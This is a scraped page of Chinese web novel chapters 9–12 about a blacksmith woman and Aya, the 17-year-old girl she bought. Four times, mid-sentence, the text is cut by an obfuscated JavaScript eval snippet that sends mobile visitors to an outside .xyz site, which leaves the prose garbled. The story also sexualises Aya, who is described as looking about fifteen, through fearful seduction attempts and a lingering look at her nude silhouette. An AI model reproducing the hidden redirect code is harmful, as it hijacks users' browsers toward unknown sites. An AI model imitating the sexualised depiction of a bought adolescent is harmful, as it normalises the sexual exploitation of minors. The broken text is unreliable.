“那怎么?我们中间是还有个人在挤你?” 语气淡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805899|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,似乎只是寻常玩笑话,可阿雅就是从中听出了一点不高兴。 她生气了。 自己是她买回来的,是玩意儿还是妾,自该由她定夺。 自己不该任性的。 想到这些,阿雅也顾不得害怕、防备什么的,快速拉进和江浔的距离,仰着脑袋看向对方。 “没、没有人挤我。我想和你、亲、亲近的,你别不高兴。” 带着潮湿的热息扑在耳朵边,香香的皂角味儿也见缝插针地涌入她鼻腔。 一句话,被小姑娘柔软的声音说得断断续续,语气中尽是惶恐不安。 江浔心中微妙的不虞立马消散,只余下对小姑娘的怜爱。 寄人篱下终究不会好过,小姑娘还是被卖来的,恐怕更是痛苦。 自己不应该强求那么多的。 她抬起手臂,摸摸阿雅的头发,安慰道:“若你以后想要离开,我也会支持你的,我不会困住你。” 她不是她的附庸,她有自己的天地,可以去闯出个名堂,有一番作为。 自己永远不会阻拦,永远不会成为她的阻碍,只会成为她休憩的港湾。 阿雅更贴近江浔一些,脑袋懂事的在她手心中蹭蹭,乖巧道:“我都懂的。” 她明白的,没有人会无缘无故支持另一个人,除非付出一些代价。 江浔就是在警告她,若想要以后自由,那现在便要听话。 不就是陪女子睡几觉吗? 她可以的。 阿雅把自己青涩的身体贴向江浔,脑袋也顺势枕在她抬起的手臂之上,轻柔的呼吸落在对方耳廓处。 若有似无撩拨着。 阿雅对这些是一知半解的,是朦胧的,但不妨碍她去尝试。 可江浔什么都没察觉到,只觉得小姑娘是真的乖,立马就钻入她怀中,黏着她了。 又摸了摸小姑娘的头发,声音逐渐变得虚无缥缈起来,“快睡吧,明日还有明日的事要做。” 说完,江浔两眼一闭,瞬间昏睡过去。 她今天也忙碌了一天,太累了。 听到自己身边传来沉沉的呼吸声,阿雅:? 9. 第 9 章 月明星稀,万籁俱寂。 熟睡的江浔只觉自己被巨大的火炉捆住手脚,汗流了一缸又一缸,身体挣扎了一下又一下,都无法从火炉下挣扎开。 又不知过了多时,她感觉自己烧起来了。 “……!” 江浔惊醒,双目盯着屋顶横梁,口鼻间呼出的气息都是热的。 她抬手,想要擦一把额头上的汗,手却没法动。 再一看,自己布料本就不多的里衣被阿雅扯开大半,对方整个人趴在她身上,滚烫身躯肉贴肉,把自己箍得死死的。 显然是把她当成冷炉了。 …… 又沉默几息后,她才猛的反应过来是阿雅发烧了! 大夫交代过,阿雅发热的话得用凉水降温,必须时刻擦汗,喂了药退了热,得把身上敷的药换一次,再立刻保暖。 每一步都必须上心,不然后果只会更严重。 江浔连忙把阿雅侧躺着放在床上,抬手摸摸对方的脸颊,果然滚烫的跟颗火球似的。 她把两人身上的薄被掀开,用力扔在一旁。 随即下床打来一盆凉水,不断用帕子为阿雅擦拭。 想到小姑娘对她还是有点芥蒂,江浔便只把阿雅的中衣脱下,留下吊带类型的里衣在里面。 大红色里衣上绣了几朵含苞待放的兰花,寓意着清雅与坚韧。 这算是江浔小时候的衣物,给阿雅穿正正好。 水波荡漾,帕子被拧干后,不断在女子细嫩的肌肤上擦拭着。 那肌肤很白,即便经受过一段时间的磋磨,也不曾被影响,反倒因为累累伤痕为其平添一□□人窥探、诱人占有的隐秘之感。 粗糙帕子拭去上面凝出的细汗,换来昏迷中的阿雅不适轻颤,再一看,帕子已经把那细嫩皮肤擦红了。 江浔动作有一瞬间顿住,看看手中帕子,再看看阿雅泛红的地方。 可惜她家中没有更好布料的帕子,只能委屈对方了。 手间动作越发轻柔,擦拭去滚烫汗液,为阿雅带来清凉。 帕子拧了又湿,湿了又拧,才好不容易把阿雅身上的滚烫压下。 接着,江浔又去把药热了一下,为了不烫到阿雅,她自己先喝一口感受温度。 结果被苦到脸都绿了。 原来她喝的是这么苦涩的中药?都没听到哼一声。 扶起阿雅,把温凉的药液仔细灌入她口中,又灌了口清水压压味儿。 直到天边微微泛起梨白,洒下点点金光之时,阿雅身上的热才总算退下,呼吸缓慢地躺在床上。 原本白日里还活泼灵动的人,变成现在这副虚弱到随时可能消失的模样,想想都觉得世事无常。 江浔用手背抹掉自己额头上的汗,开始给阿雅换药。 阿雅的伤多分布在后背与腿上,揭起早就被汗水打湿的纱布,用剪子剪开,很容易就取了下来。 伤口似乎曾渗出过血,此时大片结痂的血液干涸在背上,伤口又被汗水泡肿,怎么看怎么可怖。 擦掉血痂,保持伤口整洁后,打开大夫给的白瓷瓶,把里面的膏药倒出,涂抹在伤处。 手臂环住阿雅小小的身躯,为她缠上新纱布。 退热的阿雅体温凉得很快,江浔又立刻为她盖上薄被,又怕她凉到了又怕她热到了。 见阿雅呼吸平稳,睡得很香甜的模样。 江浔狠狠松口气,捶打着自己僵硬的背部,走到院子中,用木水瓢舀一勺凉水,咕噜咕噜灌下。 - 日头逐渐高升,带着炙热温度的光洒在大地上,让每一个暴露在艳阳下的百姓都起了满背热汗。 打铁铺子里,江浔早已把绣楼的单子做完,又开始抡着大铁锤,哐哐哐砸铁。 火炉在她身旁熊熊燃烧着,整个打铁铺子中跟蒸笼一样。 从茶摊上带回的满壶凉茶已经见底,擦汗的帕子也拧了几次。 打完手中的东西后,她直起腰休息几息,才走进院子中,去看床上的阿雅醒了没。 人还没有醒,但睡得沉稳许多。 午时已经过去许久,阿雅却除了药滴水未进颗米未食,江浔坐在床边,尝试着把人叫醒。 阿雅醒得很快,睁眼时眼中还有些迷蒙,明显是睡蒙了,缓了好一会儿才聚焦到江浔脸上。 她的嗓子干哑又苦涩,嘴唇张张,想说什么却说不出。 江浔适时问道:“我给你带了瘦肉糙米粥,起来喝点?” 阿雅的记忆只停留在江浔不解风情比她先睡过去,此时虽觉得身体异常沉重,却没有多想,眼神幽怨地扫一眼对方。 才缓缓点头。 她知晓江浔可能是想等她伤好,但这对她无疑是钝刀子割肉,尘埃未落定的每一日对她来说都是煎熬。 江浔扶着阿雅靠在床头,想着对方力气尚且没有恢复,便端着碗用勺子舀起一勺,吹凉之后,递到阿雅嘴边。 还没有被这么对待过,阿雅有些不自在,抿抿唇后,凑到勺子前,小口喝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805900|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 本就不大的勺子、本就不多的粥,都被她分成好几口。 江浔也是第一次这么尽心尽力照顾别人,喂了几口后,她道:“不烫,大口吃吧,吃得多好得快。” 还矜持着的阿雅顿住,眼神又是幽怨朝她一扫,才开始大口大口吃着。 只不过动作依旧维持着体面,没有过于狼吞虎咽。 喝完粥,又有一碗苦药等着她。 只不过这次,江浔在她喝完药后,手中变戏法似的出现一颗蜜饯。 递到阿雅唇边,道:“压压苦味。” 裹着糖粉的红枣蜜饯贴上阿雅的双唇,暖融融的指尖也贴了上去,轻微压着饱满的唇。 不小心相触后,江浔指腹快速蜷缩,往后退了退,只抓着红枣尖尖。 仿佛自己都没想到会碰到般。 见状,阿雅眼睫微垂,遮挡住眸中的光。 如削葱根般的手指,柔柔撩着头发到耳后,双唇微启,齿贝含住那颗蜜饯。 眨眼间蜜饯就消失于红唇中,而口中小舌若有似无舔过江浔的指尖。 惊的江浔立马收手,指尖捏在手中,被舔过的地方就像是被针扎了一般。 酥麻麻的。 意外吧? 不过即便不是意外,被女生碰到一下手指也没什么的,很正常不是吗? 江浔不自在地笑了一下,语速有些乱,“是不是很甜?好了你也吃过了,那我继续去忙了,你好好休息。” 可她总觉得阿雅有些奇怪,一颦一笑都似乎有什么魔力,吸引着她的注意。 正好这时,打铁铺中穿来声音,有个女子正在喊她。 江浔立马站起身,道:“我要去招呼客人了,你快休息。” 坐在床上的阿雅抬眼,由下至上柔柔地看着她,“你去吧,我会听话的。” 语气乖巧却隐含着微妙地旖旎,仿佛在暗示着什么,说完小舌还探出尖,舔了一下自己的唇。 江浔:…… 不对劲。 不对劲! 她几乎落荒而逃! 快步逃进打铁铺子后,疯狂喘几口气,狂跳的心脏才开始逐渐安分下来。 她擦着自己脑门上的汗,眼神发直地走向铺子门前,去招呼进来的客人。 女声再次响起,“江姐姐,昨日多谢你相助,我请你吃豆腐。” “……” 这又是哪里来的小妖精! 江浔惊愕抬头,才发现来人是宋月柔! 10. 第 10 章 宋月柔端着一碗冰凉甜水豆花,盈盈款款站在打铁铺子中。 头上素雅银钗晃啊晃,反射的光晃的江浔眼睛疼。 江浔想不明白,明明昨日两人都产生了嫌隙,今日宋月柔为何还会来找自己? 还端着豆花来向她道谢? 但江浔不想和宋月柔接触,走向她的身形顿住,还朝后退几步,道:“宋老板请回吧,你我之间并没有值得专门道谢之事。” 宋月柔脸上闪过一丝无措和受伤,眼波流转地看她一眼,头才微微低下。 声音嚅嗫道:“我知江姐姐是心善之人,昨日是我糊涂了,江姐姐教训的是。” “还希望江姐姐不要置我的气,原谅妹妹这一回。” 说罢,身子往下低,道歉姿态做得很足。 有流苏的银钗又在叮叮咚咚晃动了,扰的酷暑中本就烦躁的心情,更加思绪混乱。 江浔又朝后退一步,也是很明显的不接受。 无法,宋月柔只好站起身,把甜水豆花放铺子中放铁具的台子上,从身上摸出断了尖的针给江浔看。 “那江姐姐帮我修一下这枚针总可以吧?要多少银钱?” 宋月柔本意是想借着修东西,多和江浔接触的。 哪想江浔直接从一个铁质盒子中拿出新的针,道:“三文一枚,付钱走人。” 比镇中另外一家打铁铺贵一文钱,她故意的,就是想逼走宋月柔。 可宋月柔犹豫几息,还是付了银钱接过绣花针。 “多谢江姐姐帮了妹妹大忙,妹妹改日再来找姐姐闲谈。” 宋月柔走后,江浔又擦擦自己额头上的汗,准备继续打铁。 转身,她看见通向院子的小门晃动一下,被关上了。 阿雅在那里? 她听到自己和宋月柔的谈话了? 不知为何,江浔总觉得一阵心虚,但想到阿雅没有听话的乖乖休息,她就觉得自己的心虚没由来。 要心虚也是阿雅心虚。 晚食时,她去外面端了两盘小炒肉。 坐在灶台旁边吃饭,边道:“再过几日是赶集日,你身子要是好利索了,我们就一起在镇子上逛逛,买点家用。” 阿雅捧着碗,碗里堆满江浔给她夹的肉,“好,我会做饭的,我们挑几样小菜,我在家里做给你吃。” 和江浔相处了两日,两日都是从外面端的吃食,灶台上除了熬药和烧水就再也没开过火。 可以看出,对方对做饭是不熟练的。 但外面的东西总归是比自己弄的贵上许多,她既然会弄吃食,那就该给江浔省省银子。 对方买她已经花了十两,不能再花更多了。 “也可以买点种子,我把院子角落犁出来,种上一些,就不用花许多银钱去外面买吃的了。” “到时你想吃什么,我都可以给你做。” 听到这些,江浔直接道:“你小姑娘一个,赶集时还是看看喜欢什么耍货,要我买给你吧!” “家里的事不用你操心,再废银子我也养得起你。” 阿雅不高兴了,“我已有十七,不再是小孩子了。” “十七了?” 这倒是令江浔有些意外,她看阿雅的身形,还以为最多不过十五,没想到已经十七了。 还是太瘦了,小脸削尖,身上没有一点肉,是很不健康的样子。 还是该好好养着才行。 吃完饭,江浔去还碗,阿雅就自己颤颤巍巍站起身,一步一拐地走向屋中。 她的脚刚受伤时还会痛,可后来皮肉连着筋慢慢长好,就再也感觉不到疼痛了。 只是骨头错开着生长,外形上终究不那么好看的。 身形摇晃地走到床边后,她提前上床,等江浔回来后,就自觉缩进她怀中。 脑袋挨在脖颈处,湿热的呼吸洒在对方耳朵旁,像轻飘飘的羽毛若有若无撩拨着。 “快睡吧。” 小姑娘愿意亲近自己是好事,只是靠太近,弄的她耳朵有些痒。 江浔默默移动自己脑袋,躲开阿雅的呼吸。 但没过一会儿,阿雅的气息又追了上来,吐气如兰。 再躲,再追。 再躲,再追。 黑暗中,小姑娘抱住江浔的腰,脑袋撒娇般蹭蹭她的脖颈。 用蜜罐里泡出来的语气,细声细气道:“江姐姐~别躲。” 江浔:。 听到这连语气都异常熟悉的称呼,江浔只觉得头皮发麻,只能妥协,任由阿雅埋在自己颈间,亲密无间的依赖着。 - 三日后,赶集日。 阿雅的伤口都已结痂,动作幅度稍微大些,也不会流血和疼了。 早晨,天还蒙蒙亮之时,外面街上就响起小商小贩们的叫卖声。 屋内,江浔和阿雅两人收拾妥帖,手指交握在一起,开始慢慢往门外走。 阿雅的脚不方便,江浔屈起手臂牵住她,给她支撑,让她能走的方便些。 出门后,阿雅很快便被周围的叫卖声吸引注意,看什么都新奇。 江浔也纵着她,任由她四处凑热闹。 不过两人也没有忘记此行的目的,在一个老婆婆的摊前买了白菜、土豆、红薯……等一系列东西,又去商铺中买了调味料和米面。 只要是家中用得上的东西,江浔都买了一些。 种子也买了,等着让阿雅大显身手。 江浔还花大价钱买了一块蚕丝帕,拿给阿雅擦洗用。 阿雅的皮肤太嫩,用麻布总归是不合适的。 但买蚕丝帕花去的钱,可让阿雅心疼坏了,独自气闷了好一会儿。 炎阳渐渐升到两人头顶,两人打算先回去,吃完午食,躲了太阳,晚上再出来走走。 回去路过宋月柔的豆腐铺时,忙碌的宋老板还有功夫抬头同她们打招呼。 看着那温柔貌美的豆腐铺老板,再看看牵住自己手,表情紧绷的江浔。 阿雅不自觉皱起眉头,有些心慌。 回到家中,阿雅走到灶台前,边备菜边让江浔为自己生火。 她打算做白菜煎蛋汤和土豆炖排骨。 两口锅都冒着热气,这口锅刚把排骨炖熟,放下大小匀称的土豆。那口锅就开始烧着热油,把调好味道还放了臊子的鸡蛋液倒入锅中。 油温很高,鸡蛋液刚接触到,就如同吹气球般,被煎熟鼓起,热气翻腾着往横梁上冲。 阿雅拿着锅铲熟练搅散刚成型的鸡蛋,让未接触到热油的鸡蛋液也能成型。 最终做出两块金黄色镶嵌着臊子,冒着鲜香味儿的煎鸡蛋。 这个时候,一盆热水倒下,水立马会变成乳白色的模样。 看起来就极为富有营养,让人忍不住分泌口水,等不及想要尝试。 江浔就是那个等不及的人,她站在两口热气腾腾的锅前。 先是用筷子悄悄尝了一口煮到软烂入味儿的排骨,后又想用锅勺,舀点乳白色的汤来尝尝。 来回几次下来,都让阿雅举着锅铲气鼓鼓地看着她,要是她再敢偷吃。 就要大义灭妻了! 无奈,江浔想了想,决定不再守在锅面前,被香气香的肚子咕咕响。 而是和阿雅交代一句之后,重新回到热闹的街上,从木匠铺子里卖张矮桌带回去。 女子能有这么大力气,扛着一张桌子在街上健步如飞,还是少见的。 不过大家定睛一看,发现是江铁匠后,就释然了。 江铁匠的力气,那可是寻常男子都比不得的。 好些人直接指着江浔的背影,:“这女子还是不错的,有一把子力气,娶回家能当半个壮劳力。” 另外有一人回道:“那可不兴说,这江铁匠脾气可怪了,惹不得惹不得。” “要我说还是那宋月柔宋老板不错,温柔漂亮还能挣钱。” 只见本来飞快走过的江浔,突然又转身走到这两碎嘴前。 眉毛挑起,悠悠道:“你们当着我的面,再说一遍?” 说罢,她单臂扛着矮桌,另一只手一把就抓住其中一人的领子,把人抓来动弹不得! 惹来周围百姓阵阵惊呼。 江铁匠果然一身怪力,惹不得惹不得! 被抓住的碎嘴,面对和自己差不多高,却比自己力气大数十倍的江浔,嘴唇颤抖,脸色煞白。 什么话都说不出,什么话都不敢说。 见这人只敢背后说闲话,江浔冷哼一声,随手一扔,那人就跟片烂菜叶似的,倒在地上哀嚎。 看着这两人,江浔心中道:使用霉运。 她这几天卖出去很多东西,盲盒都开到手软了。 其中有很大一部分都是相同的东西,比如说【霉运】。 这个【霉运】只持续一天,但有两个,刚好用在这两人身上。 用完后,江浔眼神扫视围观百姓,似乎再警告着所有人。 吓得百姓们退避三尺,不敢再那么大胆议论的她。 而那两个被霉运附身的人,一个慌不择路想跑,却撞到一个买豆子的小贩的摊。 霎时豆子便洒了满地。 另一个站起身,还没来得及跑,就踩在豆子上,又重重把一个水果摊打翻。 这下,豆子摊、水果摊的老板连同他们的兄弟姐妹全都站起身,围向这两人。 要是不赔钱的话……那可就是一顿暴揍! 江浔回到家中后,把矮桌安置在靠近灶台的地方,两条凳子一左一右放好。 做完这些,锅中白菜和土豆都还没熟。 江浔闲不住,怕闲下来又想去捞东西吃,便扛着锄头,站在另一边院子的墙下开始耕地。 院子不算大,她也只能耕出一小片土地用来种些蔬菜。 她盲盒还开出来一斤肥沃黑土,不算多,边耕地时就边偷偷洒在土地上,等耕完地,差不多就覆盖上一层薄薄的黑土。 可以潜移默化加快植物成熟的时间。 好在,地耕完,阿雅饭也做好了。 再不好,江浔都想自己种种子了! 阿雅:“洗洗手,快来吃饭吧!” 她跛着脚,想要端着土豆炖排骨放在矮桌上。 江浔见状,赶忙迎上去,接过土豆炖排骨放在矮桌上。 又跟旱地拔葱似的,环住阿雅的腰,把阿雅直挺挺抱起,放在矮桌旁。 省去她走路的功夫。 阿雅:…… 看着江浔把白菜煎蛋汤端上桌,她提醒道:“灶里还有烤红薯。” 为了能快点吃上饭,她把两个灶都用来做菜,自然就没有煮饭的位置。 只能把红薯架在火上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805901|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烤着。 用筷子叉出两个烤到焦黑流蜜的红薯,将其中一个递给阿雅,自己捧着另一个快速地剥着。 许是整日与火炉作伴,所以江浔没觉得刚烤好的红薯有多烫,几下就剥好放碗里了。 倒是阿雅手指的皮肤太细嫩了些,没一会儿就被红薯烫到红肿,根本没办法剥。 见状,江浔直接把自己碗中的红薯给她,自己又拿起她的那个红薯剥着。 “你的手指没事吧?” 看着阿雅红肿指尖,江浔想了一下,用水缸中的水为她降温。 可水缸里的水晒在太阳下,也是温热的,根本不能缓解被烫出来的红肿。 阿雅见她这么为自己着急,明明不觉得有多疼的手指,突然钻心般疼起来。 眼眶也默默泛红,等江浔发现时,眼泪早就挂在眼眶边,欲落不落,如一颗晶莹剔透的珠子。 “不哭不哭。” 这下可让江浔的心提了起来,捧住阿雅的小脸,小心为她擦拭去眼泪,“你在这里等我回来,我去给你找东西。” 说罢,她又为阿雅擦去涌出的眼泪,才站起身大步朝外走去。 她走到隔壁豆腐铺中,不为别的,只为豆腐铺中的冰。 宋月柔为制作一些解暑甜水,常会在北方人那里购入一些冰块。 现在是午时,大部分人不会选择来吃这种小吃,所以豆腐铺中人不算多。 江浔没扭捏,直接问宋月柔冰怎么卖,她要一碗。 但宋月柔是不单卖冰的,如果单卖冰的话,她生意没法儿做。 “我给你做一碗冰凉甜豆花吧?给你多加冰,不收钱。” 江浔点点头,没有解释自己为什么需要冰,也没有说给不给钱。 不过在观察周围人买甜豆花都给多少钱后,接过宋月柔递给自己的甜豆花,还是把钱留下了。 端着一碗冰凉浸骨的甜豆花,稳稳回到院子中,让阿雅捧着。 此时的阿雅早已整理好情绪。 她不知自己是怎么了,平日里没人管,她什么事儿都能熬过去,结果现在有人宽慰她了,她偏要哭哭啼啼的。 捧着浸透人心的碗,通红眼眶看向江浔,弱弱道:“我没事,已经不疼了,谢谢你给我冰。” 甜豆花是甜的,她的心也是甜滋滋的……甜豆花?! 本还望着江浔,心中无比幸福的阿雅,突然低头看向自己手中的东西。 据她所知,附近唯一卖豆腐的店,就只有隔壁被大家称为豆腐西施的宋月柔宋老板的店。 也是就是那个喊江浔江姐姐的人。 阿雅:。 她顿时炸毛,也不觉得手中的甜豆花冰凉香甜了,反倒还觉得烫手无比! 扔也不是不扔也不是。 江浔没有察觉到阿雅的变化,听见阿雅说不疼了,便道:“不疼了就好,多捧一会儿吧,等手指消肿后,你再把那个甜豆花吃了。” “这豆花应该是好吃的,我见有那么多人买。” “你年纪还小,应该会喜欢这种甜味儿的东西吧?” 阿雅重重把碗嗑在桌子上,气鼓鼓道:“不喜欢!” “不喜欢吗?”江浔有些疑惑,“那等你手指不肿了,就拿给我吃,我还蛮喜欢甜味儿的东西的。” “……” 听见她说喜欢,阿雅眉头和鼻子都皱了起来,跟只小狸奴一样,气哼哼的。 心里忍不住嘀咕,怕江浔喜欢的不是甜豆花,是人吧! 她今天才见过宋月柔,能被众人称为豆腐西施的果然不是一般人。 身段婀娜,长相温柔清纯,怕是江浔这个打铁匠最喜欢的模样吧! 阿雅才不会让江浔如愿以偿,吃上豆腐西施做的豆腐呢! 她重重把勺子插进豆花中,把所有豆花都搅散,搅的不成样子。 才道:“你不许吃!谁说我不喜欢的,我喜欢!” 她舀起一勺,猛地喂到嘴中,还没尝出味儿来,便在心里下了定夺。 不好吃! 为了不让江浔吃到,她连正经午食都不吃了,努力把一大碗甜豆花全部灌下肚。 撑的肚子圆滚滚的,满肚冰凉,不一会儿就在炎阳下腹疼地冷汗直冒。 那么多又加了冰的豆花下肚,脆弱肠胃根本受不了,一直在阵痛着。 逼的阿雅小脸煞白,哼哼唧唧的。 吃完饭,本来准备休息休息的江浔,察觉到阿雅状态不对,问清楚怎么回事之后,哭笑不得地把人抱进怀中。 高热手掌为她揉着肚子。 那么热的天,很多人身上都是一股味儿,但江浔没有,她把自己打理得很清爽,虽然出了汗,但没有味儿,只有浅淡的皂角香气。 清新浅淡的味道,让阿雅疼到眩晕的神经都有所缓解,身体发软地依偎在她怀中,汲取着这抹味道。 有些时候江浔揉肚子的动作慢下来,阿雅还会哼出声,用脸颊去蹭她的脖子、脑袋顶蹭她的下巴。 让对方把注意力放在自己身上,不许去想什么豆腐西施! 也不许喜欢吃豆腐西施做的豆腐! 自己明明才是被江浔买回家的那个人,江浔怎么能喜欢别人呢? 可不知为何,江浔总是不懂她的暗示,难道真是不喜欢她? 只是把她当一个消遣吗? 11. 第 11 章 等阿雅腹痛好些后,两人继续在院子中做着事。 江浔去把炒菜的铁锅清洗干净后,又开始从西边的小屋里扛出十来根褐色竹竿。 她打算先在院子靠墙处搭一个方形架子,再挂上布帘遮挡,这样就可以形成简易的浴室。 两人在院中洗澡之时,就不用尴尬的特意避开了。 竹竿很长,每一根都是两米多,先用四根竹竿竖着作为腿,再在竹竿四方横着绑上四根新的竹竿。 一个简易的,长宽高都为两米的架子就做好了,只是家里没有大到可以把四方都围起来的布料。 江浔想了想,又想立马去街上买一匹布回 来。 自然的,她给阿雅说了自己想要买布的想法。 在院子中被耕好的地旁,阿雅正坐在小板凳上,弯腰往地里埋下种子。 她听到江浔的想法后,素白小脸严肃叮嘱道:“别买太好的料子,也别买有花纹图样的,买寻常麻布就好。” 和江浔相处几天下来,她都摸清对方的性子了。 买东西很容易相信商贩们的话,商贩们说什么好,她就信了,说值多少多少钱,她也信了。 很容易被欺瞒。 有时,还会买一些好看,用处却不大的东西。 比如今日才买回来的矮桌,桌腿是镂空雕傲雪寒梅的。 这种美丽的东西,放在大户人家中,那自是高洁雅致的。 但放在她们这种寻常百姓家,怕是放点重物,矮桌就会从镂空处断裂,变成一堆废木头。 想到这里,阿雅摇摇头,再次叮嘱江浔几句,才放人离去。 她才被烫过的十指缠绕着布条,小心用江浔给她打造的小铁铲,挖开黑色泥土,把白菜种子埋下。 细细浇透水,又继续种着新的种子。 她约莫种了三列长白菜、三列土豆、三列番柿。 其中土豆的成熟周期最为短,最多不过两个月就能成熟,白菜需要超过两月,番柿周期最长,需要四个月左右。 不过,阿雅用手指抓起一把江浔院中的黑色泥土,用指腹揉搓,总觉得这土壤特别肥沃。 许是要不了多少日子,这些作物就会相继成熟。 可这肥沃泥土哪里来的? 不会又背着她乱买东西了吧? 阿雅叹口气,双眼盯着黑色土壤发呆,看来她还真缺个管家事的人呢~ 不多时,江浔拿着买好的布料回来。 她没有出声,把布料夹在右手臂中,跟螃蟹似的侧身蹑手蹑脚,埋头快速走到竹竿架子旁。 要不是阿雅看见她了,兴许她都把帘子搭上了,才会叫阿雅。 “回来了?东西买好了?” 阿雅有些奇怪江浔怎么回来时,不同她打招呼了? 她把身子转来面向江浔,伸头去看江浔的表情。 被问话,江浔身体一僵,脑袋不敢看向她,身子侧着悄悄把布料挡得更严实些。 嘴上打哈哈道:“嗯,买好了。我立马就弄上,晚上洗澡时就有个遮挡了。” “你快继续种菜吧,哈哈,多种点番柿,想吃。” 番柿就是番茄。 江浔想吃是真的想吃,她总觉得大棚番茄没有番茄味儿,还得自家种的才好吃。 但阿雅还是觉得她有哪里不对。 眼神逐渐变成怀疑,又再次瞧瞧江浔表情,才把视线落在她抱着的东西上。 “等一会儿。”阿雅叫停想要背着身开始装帘子的江浔,语气柔软道:“可以把布料拿给我看一下吗?我还没见过花纹这么好看的料子呢,江姐姐~” 江浔:! “你怎么……” 江浔讶异抬头看向阿雅,话还没说完,就知道自己暴露了。 而阿雅看着对方眼中明明白白写着,天都塌了这几个字,确认她又乱花钱了。 “江姐姐~” 阿雅声音更加软,仿佛在和江浔撒娇一般,可说出的话却那么可怕。 “来嘛,让我看看到底是什么布料能让江姐姐花大价钱买下?” “莫不是隔壁豆腐西施宋姐姐推荐的?” 江浔:。 “那不能!”江浔不知道自己在头皮发麻什么,但还是加快语速解释道:“布料店和豆腐店不是一个方向!我连宋月柔的面都没见过!” 阿雅:“这么遗憾?” 江浔:? 这话没法儿接,她只能拿出自己买的布料,给阿雅看。 “我只买了这一面绣有兰花的料子,其余都是麻布。” 那料子玉白,盛放粉兰被一团又一团绿叶围住,栩栩如生,一看就值不少银子。 眼神来回在两种布料间移动,最终,阿雅败下阵来,没再多说什么。 总归江浔还是听了她的话,买了便宜点的麻布。 她要是管太多,许是会惹人厌烦。 自己可能本就是个消遣,要是再不识趣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805902|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是会被抛弃吧。 她垂下自己眼眸,浓黑如鸦羽般的眼睫盖下,“江姐姐买的确实不错,那就用上吧。” 这下换江浔眼神时不时往阿雅脸上扫,去观察阿雅的脸色了。 同意是同意了,怎么感觉阿雅并不高兴呢? 可神情也看不出什么不对。 她又看阿雅几眼后,才转身准备把帘子绑在竹竿上。 玉白兰花帘被绑在正面,当做一道门,想要洗澡之时,可以撩起这道帘子进入。 至于其他几面的麻布帘子,就被绑得死死的,撩不起来。 晚食吃的是午时剩下的土豆炖排骨,阿雅又多做了一个番柿炒蛋。 两样菜将就着吃,能刚好吃完。 江浔往自己碗里添了满满一碗糙米饭,就着番柿炒蛋和其汤汁,大口大口吃着。 酸甜的番柿味儿被很好的炒出,再加点咸味儿,能直接让她舔盘子! 吃完饭,太阳已完全下山,江浔点上蜡烛,放在灶台上。 又为阿雅打上热水,让她先洗。 前几日怕阿雅伤口碰水,又把人给整发热,江浔就没准她洗澡。 但现在她的伤口好了大半,碰点水也不碍事。 阿雅点点头,撩起帘子走进浴房之中。 横着的竹竿刚好可以用来搭衣服,她一件一件脱下自己的衣物,搭在竹竿上。 坐在蜡烛前,就着烛光,在记着最近的订单的江浔抬眼扫去。 就能清晰看见,帘子上被暖黄烛光照出的一抹曼妙身影。 起初,那身影还不显山不露水,可渐渐,随着搭在竹竿上的衣物越来越多,那身影也越来越纤细。 盈盈不堪一握的腰肢、挺翘的臀、好不容易才有点肉的大腿。 江浔下笔的动作逐渐缓慢,胡乱在纸张上留下几道看不出是什么字的蛇形字符,脸颊逐渐发烫。 衣物脱完后,那身影换了个姿势,准备舀水沐浴。 尚且青涩只有微微突出的部位,就这么暴露在她眼中了。 虽然之前也给阿雅换过纱布,但那时毕竟有里衣挡住,她也不会刻意去看。 哪像现在这么突然? 心重重跳动,毛笔尖聚集的墨汁滴落在纸上,浸染出一团脏污墨团。 幽影在慢慢晃动着,舒展高洁、清雅婉约的气质,与玉白布帘上的盛开的兰花无异。 果然,她在看见那兰花绣纹的第一眼,就觉得很适合阿雅。 12. 第 12 章 水声哗啦哗啦流动着,烛火隐隐绰绰跳动着,江浔握着毛笔的手不断攥紧,眼神看看帘子上透出的影子,就赶紧移开。 又看看,又移开。 她本以为有东西挡着后,两人就不会尴尬,就可以在院子中随意做点事。 